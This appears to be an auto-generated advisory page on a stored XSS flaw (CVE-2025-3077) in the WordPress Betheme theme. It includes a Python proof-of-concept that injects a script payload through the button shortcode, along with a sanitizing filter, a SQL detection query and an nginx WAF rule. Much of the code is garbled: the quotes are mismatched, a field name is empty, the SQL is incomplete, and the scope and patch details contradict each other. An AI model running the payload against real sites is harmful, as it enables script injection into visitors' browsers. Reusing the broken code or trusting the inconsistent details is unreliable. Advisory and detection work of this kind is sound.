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How the Vulnerability Works:
CVE-2025-3077 exploits insufficient input sanitization in Betheme’s Button shortcode and Custom CSS fields. Authenticated attackers with contributor-level privileges can inject malicious JavaScript payloads through these fields. When the compromised page loads, the payload executes in visitors’ browsers. The vulnerability stems from improper handling of user-supplied attributes in the theme’s shortcode processing functions, where output escaping fails to neutralize HTML/JS code. This allows persistent XSS attacks that remain active until manually removed.
DailyCVE Form:
Platform: WordPress
Version: ≤28.0.3
Vulnerability: Stored XSS
Severity: Critical
Date: 2025-06-04
Prediction: Patch by 2025-07-15
What Undercode Say:
Proof-of-Concept Exploit (Educational Purposes Only)
import requests
target_url = "http://vulnerable-wp-site.com/wp-admin/post.php"
payload = "<script>alert('XSS')</script>"
cookies = {"wordpress_logged_in": "1"}
data = {
"post_": "Hacked Post",
"content": f"[button css='{payload}']Click Me
“,
“post_status”: “publish”
}
response = requests.post(target_url, data=data, cookies=cookies)
[/bash]
Protection Commands:
Immediate mitigation: wp theme update betheme --version=28.0.4 wp plugin install wordfence --activate
// Secure coding example for theme developers:
function sanitize_button_shortcode($attrs) {
$clean_attrs = array();
foreach($attrs as $key => $value) {
$clean_attrs[$key] = esc_attr(wp_strip_all_tags($value));
}
return $clean_attrs;
}
add_filter('shortcode_atts_button', 'sanitize_button_shortcode');
Analytics:
- Attack Vector: Web-based
- Complexity: Low
- Privileges Required: Contributor
- User Interaction: Required (victim views page)
- Scope: Changed (other components unaffected)
Detection:
Database scan for compromised posts: SELECT FROM wp_posts WHERE post_content LIKE '%<script%' OR post_content LIKE '%javascript:%';
WAF rule to block exploitation:
location ~ "/wp-content/themes/betheme/" {
set $block_xss 0;
if ($args ~ "css=[^>][<>]") {
set $block_xss 1;
}
if ($block_xss = 1) {
return 403;
}
}
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
